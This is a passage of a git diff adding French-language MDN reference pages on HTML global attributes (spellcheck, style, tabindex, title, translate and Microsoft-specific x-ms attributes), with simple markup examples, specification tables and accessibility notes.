+<pre class="brush: html">&lt;!-- La valeur par défaut --&gt;
+&lt;textarea&gt;Saisissay un texte issy&lt;/textarea&gt;
+
+&lt;!-- Les valeurs explicites --&gt;
+&lt;textarea spellcheck="true"&gt;Saisissay un texte issy&lt;/textarea&gt;
+&lt;textarea spellcheck="false"&gt;Saisissay un texte issy&lt;/textarea&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.spellcheck")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/style/index.html b/files/fr/web/html/attributs_universels/style/index.html
new file mode 100644
index 0000000000..3da865a0e9
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/style/index.html
@@ -0,0 +1,92 @@
+---
+title: style
+slug: Web/HTML/Attributs_universels/style
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/style
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>style</strong></code> contient des déclarations <a href="/fr/docs/Web/CSS">CSS</a> afin de mettre en forme l'élément. Attention, il est recommandé de définir les règles de mise en forme dans un ou plusieurs fichiers séparés. Cet attribut, ainsi que l'élément {{HTMLElement("style")}} ont simplement pour but de permettre une mise en forme rapide, notamment pour tester.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note : </strong>Cet attribut ne doit pas être utilisé à des fins sémantiques. En effet, si toute mise en forme est retirée, toute page doit rester correcte d'un point de vue sémantique. On ne devrait pas, notamment, utiliser cet attribut afin de cacher des informations qui ne seraient pas pertinentes (cela devrait être réalisé avec l'attribut {{htmlattrxref("hidden")}}.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p style="color: rgb(255, 0, 0)"&gt;
+  Cette méthode n'est pas vraiment recommandée
+&lt;/p&gt;
+
+&lt;p class="toto"&gt;
+  Alors que ça, c'est mieux.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.toto {
+  color: rgb(0, 255, 0);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}. Depuis {{SpecName("HTML4.01")}}, cet attribut est désormais un attribut universel.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Cet attribut est pris en charge par tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Style", "", "")}}</td>
+   <td>{{Spec2("CSS3 Style")}}</td>
+   <td>Définition du contenu pour l'attribut <code>style</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/tabindex/index.html b/files/fr/web/html/attributs_universels/tabindex/index.html
new file mode 100644
index 0000000000..87aa27e5cc
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/tabindex/index.html
@@ -0,0 +1,115 @@
+---
+title: tabindex
+slug: Web/HTML/Attributs_universels/tabindex
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>tabindex</strong></code> est un entier indiquant si l'élément peut capturer le focus et si c'est le cas, dans quel ordre il le capture lors de la navigation au clavier (généralement à l'aide de la touche <kbd>Tab</kbd>). Si plusieurs éléments partagent la même valeur d'attribut <strong><code>tabindex</code></strong>, leur ordre sera calculé en fonction de leur position dans le document.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cet attribut peut prendre l'une des valeurs suivantes :</p>
+
+<ul>
+ <li>Une valeur négative : l'élément peut capturer le focus mais ne peut pas être atteint via la navigation au clavier ;
+  <div class="note">
+  <p><strong>Note :</strong> Cette valeur peut être utile lorsqu'on a un contenu situé en dehors de l'écran qui doit apparaître lors d'un évènement donné. Il ne sera pas possible d'y passer le focus au clavier mais on pourra le faire avec <a href="/fr/docs/Web/API/HTMLElement/focus">la méthode <code>focus()</code></a>.</p>
+  </div>
+ </li>
+ <li><code>0</code> : l'élément peut capturer le focus et être atteint via la navigation au clavier, cependant son ordre relatif est défini par la plateforme, généralement selon l'ordre des éléments du DOM ;
+  <div class="warning">
+  <p><strong>Attention !</strong> Le positionnement CSS n'aura pas d'impact sur le <code>taborder</code>. Le positionnement n'a qu'un impact visuel, l'ordre des tabulations correspond à l'ordre du DOM.</p>
+  </div>
+ </li>
+ <li>Une valeur positive : l'élément peut capturer le focus et peut être atteint via la navigation au clavier, l'ordre relatif dans la navigation est défini par la valeur de l'attribut. Les navigations seront parcourues dans l'ordre croissant.
+  <div class="warning">
+  <p><strong>Attention !</strong> Il n'est pas recommandé de fournir des valeurs positives pour les éléments car cela peut être source de confusion, notamment pour les personnes qui utilisent des technologies d'assistance. Il est préférable d'organiser les éléments dans un ordre correct au niveau du DOM.</p>
+  </div>
+ </li>
+</ul>
+
+<p>Si on utilise l'attribut <code>tabindex</code> sur un élément {{HTMLElement("div")}}, on ne pourra pas naviguer dans le contenu de cet élément avec les flèches du clavier, sauf si <code>tabindex</code> est également utilisé sur le contenu. Pour observer ce comportement, vous pouvez utiliser <a href="https://jsfiddle.net/jainakshay/0b2q4Lgv/">cet exemple JSFiddle</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur maximale pour <code>tabindex</code> est fixée à 32767 par HTML4. Sa valeur par défaut est 0 pour les éléments qui peuvent recevoir le focus et -1 pour les autres.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button tabindex="1"&gt;Un bouton&lt;/button&gt;
+&lt;textarea&gt;Saisir un texte&lt;/textarea&gt;
+&lt;button tabindex="0"&gt;Un autre bouton&lt;/button&gt;
+&lt;button tabindex="1"&gt;Et un troisième&lt;/button&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il faut éviter d'utiliser l'attribut <code>tabindex</code> avec du contenu <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_interactif">non-interactif</a> si on souhaite uniquement rendre cet élément accessible au clavier (par exemple en voulant utiliser un élément {{HTMLElement("div")}} plutôt qu'un élément {{HTMLElement("button")}}).</p>
+
+<p>Les composants rendus interactifs par cette méthode ne feront pas partie de l'<a href="/fr/Apprendre/a11y/What_is_accessibility#Accessibility_APIs">arbre d'accessibilité</a> et ne pourront pas être analysés par les technologies d'assistance. Le contenu devrait être décrit sémantiquement avec des éléments interactifs ({{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, etc.). En effet, ces éléments disposent nativement de rôles et d'états qui peuvent être utilisées par les API d'accessibilité (il faut sinon les gérer via <a href="/fr/docs/Accessibilité/ARIA">ARIA</a>).</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2014/08/using-the-tabindex-attribute/">Utiliser l'attribut <code>tabindex</code>|<em>The Paciello Group</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-tabindex-attribute", "tabindex")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, l'attribut est désormais supporté sur tous les éléments, c'est un attribut global à part entière.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Attribut uniquement supporté sur {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.tabindex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{domxref("HTMLElement.tabIndex")}} qui reflète cet attribut.</li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li><a href="https://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Ce billet en anglais sur l'accessibilité et <code>tabindex</code></a> écrit par Adrian Roselli</li>
+ <li><code><a href="/fr/docs/Web/API/Document/hasFocus">Document.hasFocus()</a></code></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/title/index.html b/files/fr/web/html/attributs_universels/title/index.html
new file mode 100644
index 0000000000..06f0feee8d
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/title/index.html
@@ -0,0 +1,129 @@
+---
+title: title
+slug: Web/HTML/Attributs_universels/title
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/title
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>title</strong></code> contient un texte d'information relatif à l'élément auquel il est rattaché.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>On le trouve généralement utilisé pour :</p>
+
+<ul>
+ <li>Fournir un libellé pour les éléments {{HTMLElement("iframe")}}</li>
+ <li>Fournir un libellé associé automatiquement à un élément {{HTMLElement("input")}}</li>
+ <li>Fournir un libellé pour les contrôles des <a href="/fr/docs/Web/HTML/Element/table">tableaux de données</a></li>
+</ul>
+
+<p>Si cet attribut est absent, cela signifie que le titre de l'élément ancêtre le plus proche est toujours pertinent (et pourrait être utilisé comme bulle d'information pour l'élément courant). Si cet attribut vaut la chaîne vide, cela signifie explicitement que la valeur du titre de l'ancêtre le plus proche n'est pas pertinent (et ne devrait pas être utilisé comme bulle d'information).</p>
+
+<p>Une sémantique différente est définie pour cet attribut lorsqu'il est utilisé avec les éléments {{HTMLElement("link")}}, {{HTMLElement("abbr")}}, {{HTMLElement("input")}} et {{HTMLElement("menuitem")}}.</p>
+
+<h2 id="Titre_sur_plusieurs_lignes">Titre sur plusieurs lignes</h2>
+
+<p>Un attribut <code>title</code> peut contenir plusieurs lignes. Chaque caractère <code>U+000A LINE FEED</code> (<code>LF</code>) représentera un saut de ligne. Le fragment de code suivant représente donc un élément dont le titre est écrit sur deux lignes.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Les sauts de ligne au sein d'un attribut title doivent être pris en compte :
+  &lt;abbr title="Ceci est un
+  titre sur plusieurs lignes"&gt;Exemple&lt;/abbr&gt;.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Titre_sur_plusieurs_lignes")}}</p>
+
+<h2 id="Héritage_de_title">Héritage de <code>title</code></h2>
+
+<p>Lorsqu'un élément ne possède pas d'attribut <code>title</code>, il hérite de la valeur de l'attribut pour l'élément parent (qui peut également l'hériter de son parent, etc.).</p>
+
+<p>Si cet attribut est défini avec la chaîne vide, cela signifie que le titre provenant d'un élément parent n'est pas pertinent et qu'il ne devrait pas être utilisé.</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;div title="Une bubulle"&gt;
+  &lt;p&gt;Si vous survolez cet élément, il y aura une bulle d'information "Une bubulle".&lt;/p&gt;
+  &lt;p title=""&gt;Et au-dessus de celui-ci, aucune info.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat_2">Résultat</h3>
+
+<p>{{EmbedLiveSample("Héritage_de_title")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>L'attribut <code>title</code> est très problématique pour :</p>
+
+<ul>
+ <li>Les personnes qui utilisent des appareils à interface tactile</li>
+ <li>Les personnes qui naviguent au clavier</li>
+ <li>Les personnes qui naviguent en utilisant des outils d'assistance comme des lecteurs d'écran ou des loupes logicielles</li>
+ <li>Les personnes souffrant de troubles musculaires ou cognitifs.</li>
+</ul>
+
+<p>Cela est dû à une prise en charge hétérogène de la part des navigateurs. Si on souhaite avoir une bulle d'information, mieux vaudra <a href="https://inclusive-components.design/tooltips-toggletips/">utiliser une technique plus accessible</a>.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Utiliser l'attribut HTML <code>title</code> - The Paciello Group (en anglais)</a></li>
+ <li><em><a href="https://inclusive-components.design/tooltips-toggletips/">Tooltips &amp; Toggletips - Inclusive Components</a></em><a href="https://inclusive-components.design/tooltips-toggletips/"> (en anglais)</a></li>
+ <li><a href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/"><em>The Trials and Tribulations of the Title Attribute</em> (en anglais) - 24 Accessibility</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivation de {{SpecName('HTML WHATWG')}}, aucune modification de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivation de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, <code>title</code> est désormais un attribut universel.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Pris en charge par l'ensemble des éléments sauf {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.title")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>{{domxref("HTMLElement.title")}} that reflects this attribute.</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/translate/index.html b/files/fr/web/html/attributs_universels/translate/index.html
new file mode 100644
index 0000000000..215800e5ff
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/translate/index.html
@@ -0,0 +1,71 @@
+---
+title: translate
+slug: Web/HTML/Attributs_universels/translate
+tags:
+  - Attribut
+  - Attribut universel
+  - Experimental
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/translate
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>translate</strong></code> est un attribut à valeur contrainte qui peut être utilisé afin d'indiquer si les valeurs d'attribut d'un élément et si les valeurs de ses nœuds {{domxref("Text")}} descendants doivent être traduits lorsque la page est localisée ou s'il faut les laisser inchangés. Les valeurs autorisées pour cet attribut sont :</p>
+
+<ul>
+ <li><code>"yes"</code> (ou une chaîne vide), qui indique que l'élément devrait être traduit lorsque la page est localisée ;</li>
+ <li><code>"no"</code>, qui indique que l'élément ne doit pas être traduit.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Bien que la prise en charge de cet attribut ne soit pas homogène pour les navigateurs, celui-ci est pris en compte par les outils de traduction automatique (Google Translate par exemple) et les outils de traduction utilisés par les traducteurs. Aussi, cet attribut doit être utilisé par les auteurs web afin d'indiquer correctement le contenu qui ne devrait pas être traduit.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label for="postcode" translate="no"&gt;
+   &lt;span translate="yes"&gt;Enter your postcode to find the nearest store&lt;/span&gt;
+&lt;/label&gt;
+&lt;input id="postcode" type="text"&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","250","250")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement depuis la dernière dérivation {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.translate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>La propriété {{domxref("HTMLElement.translate")}} qui reflète cet attribut.</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html b/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html
new file mode 100644
index 0000000000..f03780b703
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html
@@ -0,0 +1,45 @@
+---
+title: x-ms-acceleratorkey
+slug: Web/HTML/Attributs_universels/x-ms-acceleratorkey
+tags:
+  - Attribut
+  - HTML
+  - Non-standard
+  - Reference
+translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}</div>
+
+<p>La propriété <code><strong>x-ms-acceleratorkey</strong></code> fournit une méthode pour déclarer si une touche d'accélération a été affectée à un élément.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour fournir un raccourci clavier pour un élément qui n'utilise pas JavaScript, on utilisera l'attribut <code><a href="/fr/docs/Web/HTML/Attributs_universels/accesskey">accesskey</a></code>.</p>
+</div>
+
+<p>{{Non-standard_Inline}} Cette propriété non-standard est spécifique à Internet Explorer et à Microsoft Edge.</p>
+
+<p>La propriété <code>x-ms-acceleratorkey</code> permet d'indiquer sur l'arbre d'accessibilité (utilisé par les outils d'assistance tels que les lecteurs d'écran) qu'une touche d'accélération existe. Cet attribut ne fournit pas le comportement déclenché par cette touche. Il est nécessaire de fournir les gestionnaires d'évènements associés tels que <code>onkeypress</code>, <code>onkeydown</code> ou <code>onkeyup</code> afin de traiter l'utilisation de la touche dans l'application.</p>
+
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: html">&lt;button x-ms-acceleratorkey="string"&gt;...&lt;/button&gt;</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Cette propriété peut être une chaîne de caractères avec le nom de la touche accélératrice :</p>
+
+<ul>
+ <li><code>"Ctrl+B"</code> pour indiquer la combinaison des touches <kbd>Ctrl</kbd> et <kbd>B</kbd>.</li>
+ <li><code>"J"</code> pour indiquer la touche <kbd>J</kbd> uniquement.</li>
+ <li><code>"Ctrl+; then K"</code> (cf. <a href="https://help.manuscript.com/7558/fogbugz-keyboard-shortcuts#For_Your_Server_or_non-Ocelot_Keyboard_Shortcuts">FogBugz’s old keyboard mode</a>). Une approche plus compliquée mais qui ne remplace pas les raccourcis clavier fournis par le navigateur ou le système d'exploitation.</li>
+</ul>
+
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla/Tech/XUL/Propri%C3%A9t%C3%A9s/accessKey">L'attribut universel <code>accesskey</code></a></li>
+ <li><a href="/fr/docs/Web/CSS/-ms-accelerator">La propriété CSS spécifique <code>-ms-accelerator</code></a></li>
+ <li><a href="/fr/docs/Web/API/Microsoft_API_extensions">Les extensions spécifiques à Microsoft</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html b/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html
new file mode 100644
index 0000000000..f11309e1b5
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/x-ms-format-detection/index.html
@@ -0,0 +1,60 @@
+---
+title: x-ms-format-detection
+slug: Web/HTML/Attributs_universels/x-ms-format-detection
+tags:
+  - Attribut
+  - HTML
+  - Non-standard
+  - Reference
+translation_of: Web/HTML/Global_attributes/x-ms-format-detection
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}</div>
+
+<p>L'attribut <code><strong>x-ms-format-detection</strong></code> détermine si le format de la donnée dans le contenu est détectée automatiquement et, lorsqu'elle est trouvée, est convertie en un lien sur lequel on peut cliquer.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Les liens créés grâce à la détection de format n'apparaissent pas dans le DOM.</p>
+</div>
+
+<p>{{Non-standard_inline}}Cette propriété est spécifique à Internet Explorer et à Microsoft Edge.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: html">&lt;html x-ms-format-detection="none"&gt;
+</pre>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<p>Cet attribut peut prendre une chaîne de caractères parmi les suivantes comme valeur :</p>
+
+<dl>
+ <dt><code>all</code></dt>
+ <dd>Tous les formats de donnée pris en charge sont détectés.</dd>
+ <dt><code>none</code></dt>
+ <dd>La détection de format est désactivée.</dd>
+ <dt><code>phone</code></dt>
+ <dd>Seuls les numéros de téléphone sont détectés.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Les liens créés via la détection de format n'auront pas d'impact sur le contenu ou sur la disposition du DOM.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour désactiver la détection automatique sous certaines conditions, on pourra par exemple utiliser JavaScript afin d'ajouter <code>x-ms-format-detection</code> sur les éléments qu'on soit sur un mobile (détection activée) ou sur un ordinateur de bureau (détection désactivée) :</p>
+
+<pre class="brush: js">if (window.matchMedia('(min-width: 1024px)').matches) {
+    var e = document.getElementsByClassName("phone");
+    for (i = 0; i &lt; e.length; i++)
+        e[i].setAttribute("x-ms-format-detection", "none");
+}
+</pre>
+
+<p>Dans cet exemple, les numéros de téléphone conservent la mise en forme tant que la zone d'affichage (<em>viewport</em>) est moins large que 1024 pixels.</p>
+
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Microsoft_Extensions">Les extensions spécifiques à Microsoft</a></li>
+</ul>
diff --git a/files/fr/web/html/contenu_editable/index.html b/files/fr/web/html/contenu_editable/index.html
new file mode 100644
index 0000000000..01e1691ed1
--- /dev/null
+++ b/files/fr/web/html/contenu_editable/index.html
@@ -0,0 +1,36 @@
+---
+title: Contenu éditable
